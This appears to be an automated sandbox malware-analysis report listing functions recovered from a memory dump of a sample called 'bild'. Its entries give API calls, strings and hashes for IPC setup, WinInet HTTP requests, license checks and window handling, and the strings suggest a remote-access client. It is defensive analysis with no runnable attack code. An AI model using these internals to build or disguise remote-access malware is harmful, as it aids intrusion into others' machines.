LocalFree.KERNEL32(?), ref: 1109E3D9
LocalFree.KERNEL32(?), ref: 1109E3E6

Part of subcall function 1109D3A0: LoadLibraryA.KERNEL32(Advapi32.dll,00000000,1109E27E), ref: 1109D3A8

Part of subcall function 1109D3F0: GetProcAddress.KERNEL32(00000000,ConvertStringSecurityDescriptorToSecurityDescriptorA), ref: 1109D404

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 1109E412
LocalFree.KERNEL32(?), ref: 1109E4DB
LocalFree.KERNEL32(?), ref: 1109E4E8
_memset.LIBCMT ref: 1109E500
GetTickCount.KERNEL32 ref: 1109E508
GetCurrentProcessId.KERNEL32 ref: 1109E5B4
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 1109E5CF
CreateEventA.KERNEL32(?,00000000,00000000,?,?,?,?,?,?), ref: 1109E61B
GetLastError.KERNEL32 ref: 1109E624
GetLastError.KERNEL32(00000000), ref: 1109E62B
CreateEventA.KERNEL32(?,00000000,00000000,?), ref: 1109E660
GetLastError.KERNEL32 ref: 1109E669
GetLastError.KERNEL32(00000000), ref: 1109E670
CreateEventA.KERNEL32(?,00000001,00000000,?), ref: 1109E6A6
GetLastError.KERNEL32 ref: 1109E6AF
GetLastError.KERNEL32(00000000), ref: 1109E6B6
CreateEventA.KERNEL32(?,00000000,00000000,?), ref: 1109E6EB
GetLastError.KERNEL32 ref: 1109E6FA
GetLastError.KERNEL32(00000000), ref: 1109E6FD
LocalFree.KERNEL32(?), ref: 1109E725
LocalFree.KERNEL32(?), ref: 1109E732
GetCurrentThreadId.KERNEL32 ref: 1109E763
CreateThread.KERNEL32(00000000,00002000,Function_0009DD20,00000000,00000000,00000030), ref: 1109E77D
ResetEvent.KERNEL32(?), ref: 1109E7AC
ResetEvent.KERNEL32(?), ref: 1109E7B2
ResetEvent.KERNEL32(?), ref: 1109E7B8
SetEvent.KERNEL32(?), ref: 1109E7BE

Strings

Error cant create events, xrefs: 1109E7E7
map exists, xrefs: 1109E4EA
Error cant map view, xrefs: 1109E3BB
cant create filemap, xrefs: 1109E375
Cant create event %s, e=%d (x%x), xrefs: 1109E639, 1109E67E, 1109E6C4, 1109E707
cant map, xrefs: 1109E3E8
Error filemap exists, xrefs: 1109E4BD
S:(ML;;NW;;;LW), xrefs: 1109E288
Info - reusing existing filemap, xrefs: 1109E479
cant create events, xrefs: 1109E7F4
warning map exists, xrefs: 1109E490
Error creating filemap (%d), xrefs: 1109E344
cant create thread, xrefs: 1109E78A
IPC(%s) created, xrefs: 1109E7C8
SeSecurityPrivilege, xrefs: 1109E1FA

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: ErrorLast$FreeLocal$Event$Create$DescriptorFileSecurity$CurrentProcessReset$LibraryModuleNameSaclThreadToken$AddressAdjustAllocCountDaclInitializeLoadLookupMappingOpenPrivilegePrivilegesProcTickValueVersionView_memset
String ID: Cant create event %s, e=%d (x%x)$Error cant create events$Error cant map view$Error creating filemap (%d)$Error filemap exists$IPC(%s) created$Info - reusing existing filemap$S:(ML;;NW;;;LW)$SeSecurityPrivilege$cant create events$cant create filemap$cant create thread$cant map$map exists$warning map exists
API String ID: 3291243470-2792520954
Opcode ID: e1e4d2c24c486b94928180782bcaf8fbecda1daffafc4b641c279d7d38800a12
Instruction ID: e0f3534def007632db5cc521867dfefedb1bc63d92e862916d16df31d0e36df5
Opcode Fuzzy Hash: e1e4d2c24c486b94928180782bcaf8fbecda1daffafc4b641c279d7d38800a12
Instruction Fuzzy Hash: 221282B590026D9FE724DF61CCD4EAEF7BABB88308F0049A9E11997244D771AD84CF51

Function 11029590 Relevance: 88.0, APIs: 38, Strings: 12, Instructions: 534
libraryloadernetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(WinInet.dll,73B292A0,74DF23A0,?,00000000), ref: 110295C5
GetProcAddress.KERNEL32(?,InternetCloseHandle), ref: 1102965F
SetLastError.KERNEL32(00000078), ref: 11029673
_malloc.LIBCMT ref: 11029697
GetProcAddress.KERNEL32(?,InternetQueryOptionA), ref: 110296B1
GetLastError.KERNEL32 ref: 110296D2
_free.LIBCMT ref: 110296DE
_malloc.LIBCMT ref: 110296E7
GetProcAddress.KERNEL32(?,InternetQueryOptionA), ref: 11029701
GetProcAddress.KERNEL32(?,InternetOpenA), ref: 1102973B
InternetOpenA.WININET(11194244,?,?,000000FF,00000000), ref: 1102975A
SetLastError.KERNEL32(00000078), ref: 11029764
SetLastError.KERNEL32(00000078), ref: 11029771
SetLastError.KERNEL32(00000078), ref: 1102977B
_free.LIBCMT ref: 11029785

Part of subcall function 11162BE5: HeapFree.KERNEL32(00000000,00000000,?,1116B7A6,00000000,?,1110F4AE,?,?,?,?,11145032,?,?,?), ref: 11162BFB
Part of subcall function 11162BE5: GetLastError.KERNEL32(00000000,?,1116B7A6,00000000,?,1110F4AE,?,?,?,?,11145032,?,?,?), ref: 11162C0D

GetProcAddress.KERNEL32(?,InternetCloseHandle), ref: 11029805
SetLastError.KERNEL32(00000078), ref: 1102981E
GetProcAddress.KERNEL32(?,InternetConnectA), ref: 11029831
InternetConnectA.WININET(000000FF,11199690,00000050,00000000,00000000,00000003,00000000,00000000), ref: 1102984E
GetProcAddress.KERNEL32(?,InternetCloseHandle), ref: 1102986A
SetLastError.KERNEL32(00000078), ref: 11029883
GetProcAddress.KERNEL32(?,HttpOpenRequestA), ref: 110298A9
GetProcAddress.KERNEL32(?,HttpSendRequestA), ref: 110298FD
GetProcAddress.KERNEL32(?,InternetQueryDataAvailable), ref: 11029A63
SetLastError.KERNEL32(00000078), ref: 11029B30
GetProcAddress.KERNEL32(?,InternetCloseHandle), ref: 11029B82
SetLastError.KERNEL32(00000078), ref: 11029B99
FreeLibrary.KERNEL32(?), ref: 11029BAA

Strings

HttpQueryInfoA, xrefs: 11029943
InternetConnectA, xrefs: 1102982B
://, xrefs: 110297A5
HttpOpenRequestA, xrefs: 110298A3
WinInet.dll, xrefs: 110295BD
InternetErrorDlg, xrefs: 110299A0
InternetOpenA, xrefs: 11029735
InternetCloseHandle, xrefs: 11029659, 110297FF, 11029864, 11029B7C
InternetQueryOptionA, xrefs: 110296AB, 110296FB
GET, xrefs: 110298C9
HttpSendRequestA, xrefs: 110298F7
InternetQueryDataAvailable, xrefs: 11029A5D

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: AddressProc$ErrorLast$FreeInternetLibrary_free_malloc$ConnectHeapLoadOpen
String ID: ://$GET$HttpOpenRequestA$HttpQueryInfoA$HttpSendRequestA$InternetCloseHandle$InternetConnectA$InternetErrorDlg$InternetOpenA$InternetQueryDataAvailable$InternetQueryOptionA$WinInet.dll
API String ID: 921868004-913974648
Opcode ID: 2d2eeaad931a34bca1b43c66b17deac4db3cf30db8dfadc355f34a03c0ad81b1
Instruction ID: e81a0880bf89439be6f70403065d0babe3f5b16467f55efefddb7e1ac6149969
Opcode Fuzzy Hash: 2d2eeaad931a34bca1b43c66b17deac4db3cf30db8dfadc355f34a03c0ad81b1
Instruction Fuzzy Hash: 5E127FB0D04269EBEB11CFA9CC88A9EFBF9FF88754F604569E465E7240E7705940CB60

Function 11061C90 Relevance: 76.5, APIs: 22, Strings: 21, Instructions: 1221COMMON

Download Yara Rule

APIs

Part of subcall function 11144EA0: GetLastError.KERNEL32(?,0262B878,000000FF,?), ref: 11144ED5
Part of subcall function 11144EA0: Sleep.KERNEL32(000000C8,?,?,?,?,?,?,0262B878,000000FF,?), ref: 11144EE5

_fgets.LIBCMT ref: 11061DC2
_strpbrk.LIBCMT ref: 11061E29
_fgets.LIBCMT ref: 11061F2C
_strpbrk.LIBCMT ref: 11061FA3
__wcstoui64.LIBCMT ref: 11061FBC
_fgets.LIBCMT ref: 11062035
_strpbrk.LIBCMT ref: 1106205B

Strings

Expired, xrefs: 1106296B
defaults, xrefs: 11062116
expiry, xrefs: 11062730
start, xrefs: 11062739, 11062750
_include, xrefs: 110621C9
enforce, xrefs: 11062136
product, xrefs: 11062652
inactive, xrefs: 110625B1
Client, xrefs: 11062262, 110622A4
%c%04d%s, xrefs: 11062184
%s.%04d.%s, xrefs: 110622A9
/- , xrefs: 110627FE, 11062831, 11062864
?expirY, xrefs: 11062768
_version, xrefs: 11062429
_License, xrefs: 11062356, 11062414, 1106242E, 110625B6, 11062620, 1106263B, 11062657, 11062751, 11062970, 11062A58
cd_install, xrefs: 1106261B
_checksum, xrefs: 1106240F
licensee, xrefs: 11062A53
ACM, xrefs: 11062697
?starT, xrefs: 11062771, 1106277D
shrink_wrap, xrefs: 11062636

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: _fgets_strpbrk$ErrorLastSleep__wcstoui64
String ID: %c%04d%s$%s.%04d.%s$/- $?expirY$?starT$ACM$Client$Expired$_License$_checksum$_include$_version$cd_install$defaults$enforce$expiry$inactive$licensee$product$shrink_wrap$start
API String ID: 716802716-1571441106
Opcode ID: 32dce6010c3087015648dbee5c865c0eda81171851eef29cc693b610d01e18e4
Instruction ID: 9b454a0e08db4b844aa329f9a873b431930d9d904307df7fc69ae15b9a8492e5
Opcode Fuzzy Hash: 32dce6010c3087015648dbee5c865c0eda81171851eef29cc693b610d01e18e4
Instruction Fuzzy Hash: 55A2D375E0461A9FEB21CF64CC80BEFB7B9AF44345F0041D9E849A7281EB71AA45CF61

Function 11143570 Relevance: 66.6, APIs: 20, Strings: 18, Instructions: 134
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,8504C483,74DF23A0), ref: 111435A3
LoadLibraryA.KERNEL32(?), ref: 111435EC
LoadLibraryA.KERNEL32(DBGHELP.DLL), ref: 11143605
LoadLibraryA.KERNEL32(IMAGEHLP.DLL), ref: 11143614
GetModuleHandleA.KERNEL32(?), ref: 1114361A
GetProcAddress.KERNEL32(00000000,SymGetLineFromAddr), ref: 1114362E
GetProcAddress.KERNEL32(00000000,SymGetLineFromName), ref: 1114364D
GetProcAddress.KERNEL32(00000000,SymGetLineNext), ref: 11143658
GetProcAddress.KERNEL32(00000000,SymGetLinePrev), ref: 11143663
GetProcAddress.KERNEL32(00000000,SymMatchFileName), ref: 1114366E
GetProcAddress.KERNEL32(00000000,StackWalk), ref: 11143679
GetProcAddress.KERNEL32(00000000,SymCleanup), ref: 11143684
GetProcAddress.KERNEL32(00000000,SymLoadModule), ref: 1114368F
GetProcAddress.KERNEL32(00000000,SymInitialize), ref: 1114369A
GetProcAddress.KERNEL32(00000000,SymGetOptions), ref: 111436A5
GetProcAddress.KERNEL32(00000000,SymSetOptions), ref: 111436B0
GetProcAddress.KERNEL32(00000000,SymGetModuleInfo), ref: 111436BB
GetProcAddress.KERNEL32(00000000,SymGetSymFromAddr), ref: 111436C6
GetProcAddress.KERNEL32(00000000,SymFunctionTableAccess), ref: 111436D1
GetProcAddress.KERNEL32(00000000,MiniDumpWriteDump), ref: 111436DC

Part of subcall function 11081B40: _strrchr.LIBCMT ref: 11081B4E

Strings

StackWalk, xrefs: 11143673
SymInitialize, xrefs: 11143691
SymGetLineNext, xrefs: 1114364F
SymGetSymFromAddr, xrefs: 111436BD
DBGHELP.DLL, xrefs: 111435FF, 11143604
SymMatchFileName, xrefs: 11143665
SymLoadModule, xrefs: 11143686
SymGetLineFromAddr, xrefs: 11143628
SymFunctionTableAccess, xrefs: 111436C8
SymGetModuleInfo, xrefs: 111436B2
SymCleanup, xrefs: 1114367B
SymGetLinePrev, xrefs: 1114365A
MiniDumpWriteDump, xrefs: 111436D3
SymGetOptions, xrefs: 1114369C
SymGetLineFromName, xrefs: 11143647
SymSetOptions, xrefs: 111436A7
dbghelp.dll, xrefs: 111435C8
IMAGEHLP.DLL, xrefs: 1114360E, 11143613, 11143619

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad$Module$FileHandleName_strrchr
String ID: DBGHELP.DLL$IMAGEHLP.DLL$MiniDumpWriteDump$StackWalk$SymCleanup$SymFunctionTableAccess$SymGetLineFromAddr$SymGetLineFromName$SymGetLineNext$SymGetLinePrev$SymGetModuleInfo$SymGetOptions$SymGetSymFromAddr$SymInitialize$SymLoadModule$SymMatchFileName$SymSetOptions$dbghelp.dll
API String ID: 3874234733-2061581830
Opcode ID: cfe4e0547bd5fe59c7f15dfeaa5816d95d94d48cef7707ac470bf4deacf2edb6
Instruction ID: 707b91cc949213dae1a505c6abf15ec2f20ed18dfa7402eb99b54f6ccfa65761
Opcode Fuzzy Hash: cfe4e0547bd5fe59c7f15dfeaa5816d95d94d48cef7707ac470bf4deacf2edb6
Instruction Fuzzy Hash: 05411B70A04714AFD7309F768D84A6BFAF8BF55A04B10492EE496D3A10EBB5E8008F5D

Function 11139090 Relevance: 54.7, APIs: 20, Strings: 11, Instructions: 474
windowthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 111390C7
IsWindow.USER32(0002044E), ref: 11139125
IsWindowVisible.USER32(0002044E), ref: 11139133
IsWindowVisible.USER32(0002044E), ref: 1113916B
GetForegroundWindow.USER32 ref: 11139186
EnableWindow.USER32(0002044E,00000000), ref: 111391A0
EnableWindow.USER32(0002044E,00000001), ref: 111391BC
SetForegroundWindow.USER32(00000000), ref: 111391CB
FindWindowA.USER32(Shell_TrayWnd,00000000), ref: 11139209
IsWindowVisible.USER32(00000000), ref: 11139218
IsWindowVisible.USER32(0002044E), ref: 11139248
IsIconic.USER32(0002044E), ref: 11139255
GetForegroundWindow.USER32 ref: 1113925F

Part of subcall function 11131210: ShowWindow.USER32(0002044E,00000000,?,11139062,00000007,?,?,?,?,?,00000000), ref: 11131234

Part of subcall function 11131210: ShowWindow.USER32(0002044E,11139062,?,11139062,00000007,?,?,?,?,?,00000000), ref: 11131246

SetForegroundWindow.USER32(00000000), ref: 11139285
EnableWindow.USER32(0002044E,00000001), ref: 11139294
GetLastError.KERNEL32 ref: 11139353
GetLastError.KERNEL32 ref: 111393CB
GetTickCount.KERNEL32 ref: 11139678
GetTickCount.KERNEL32 ref: 11139699

Part of subcall function 11025BB0: LoadLibraryA.KERNEL32(Wtsapi32.dll,00000000,111396E2), ref: 11025BB8

FreeLibrary.KERNEL32(?,00000000,000000FF,00000000,00000001,00000000,00000001,00000000,0000000A,?,00000000), ref: 11139734

Strings

ShowNeedsReinstall in 15, user=%s, xrefs: 1113966B
MainWnd = %08x, visible %d, valid %d, xrefs: 1113913D
File <%s> doesnt exist, e=%d, xrefs: 11139357, 111393CF
Client, xrefs: 11139159, 111392DD, 1113963B
Shell_TrayWnd, xrefs: 11139204
disableRunplugin, xrefs: 111392D8
NeedsReinstall, xrefs: 11139636
Audio, xrefs: 11139455
HideWhenIdle, xrefs: 11139154
Reactivate main window, xrefs: 11139179
HookDirectSound, xrefs: 11139450

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Window$ForegroundVisible$Enable$CountErrorLastLibraryShowTick$CurrentFindFreeIconicLoadThread
String ID: Audio$Client$File <%s> doesnt exist, e=%d$HideWhenIdle$HookDirectSound$MainWnd = %08x, visible %d, valid %d$NeedsReinstall$Reactivate main window$Shell_TrayWnd$ShowNeedsReinstall in 15, user=%s$disableRunplugin
API String ID: 2511061093-2542869446
Opcode ID: 0e4ccee009b06b63fab7a686928084bc30871ce576c3106fc105d812773a0109
Instruction ID: 168a4b77644d94df8a921335772b55db7e1a21360cf08f879ca3086e41f0bcfd
Opcode Fuzzy Hash: 0e4ccee009b06b63fab7a686928084bc30871ce576c3106fc105d812773a0109
Instruction Fuzzy Hash: 700229B8A1062ADFE716DFA4CDD4B6AF766BBC071EF500178E4255728CEB30A844CB51

Function 11115B70 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 182librarycomloaderCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 11115BC5
CoCreateInstance.OLE32(111C081C,00000000,00000001,111C082C,00000000,?,00000000,Client,silent,00000000,00000000,?,1104BADF), ref: 11115BDF
LoadLibraryA.KERNEL32(SHELL32.DLL,?,?,00000000,Client,silent,00000000,00000000), ref: 11115C04
GetProcAddress.KERNEL32(00000000,SHGetSettings), ref: 11115C16
SHGetSettings.SHELL32(?,00000200,?,00000000,Client,silent,00000000,00000000), ref: 11115C29
FreeLibrary.KERNEL32(00000000,?,00000000,Client,silent,00000000,00000000), ref: 11115C35
CoUninitialize.COMBASE(00000000), ref: 11115CD1

Strings

SHELL32.DLL, xrefs: 11115BF5
SHGetSettings, xrefs: 11115C10

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Library$AddressCreateFreeInitializeInstanceLoadProcSettingsUninitialize
String ID: SHELL32.DLL$SHGetSettings
API String ID: 4195908086-2348320231
Opcode ID: 840c1eadb0258f47a734e7be087c5142de7588e2c7107701b0399a58d14c8a79
Instruction ID: 591e2108fd72310e634c09c07143bf968b2bad8d72189eb08e80a39284cb5d12
Opcode Fuzzy Hash: 840c1eadb0258f47a734e7be087c5142de7588e2c7107701b0399a58d14c8a79
Instruction Fuzzy Hash: 1751A075A0020A9FDB40DFE5C9C4AAFFBB9FF89304F104629E516AB244E731A941CB61

Function 110733B0 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 314COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 110734E0
_memset.LIBCMT ref: 11073659

Strings

serial_no, xrefs: 1107349C
_License, xrefs: 110734A1
NBCTL32.DLL, xrefs: 11073595

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: _memset
String ID: NBCTL32.DLL$_License$serial_no
API String ID: 2102423945-35127696
Opcode ID: 1bc3c350b5695b2c8a219e67917739aeea91881a13f4a17e71b6933ab04c4b4d
Instruction ID: b704a80906741011c15d1468992a84ddd821d027e1e1ff2b1c0992d848e69eb8
Opcode Fuzzy Hash: 1bc3c350b5695b2c8a219e67917739aeea91881a13f4a17e71b6933ab04c4b4d
Instruction Fuzzy Hash: 64B18E75E00209AFE714CFA8DC81BAEB7F5FF88304F148169E9499B295DB71A901CB90

Function 110310C0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 31COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(1102E480,?,00000000), ref: 110310E4

Strings

Client32, xrefs: 110310C4
NSMWClass, xrefs: 11031103
NSMWClass, xrefs: 110310EF

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
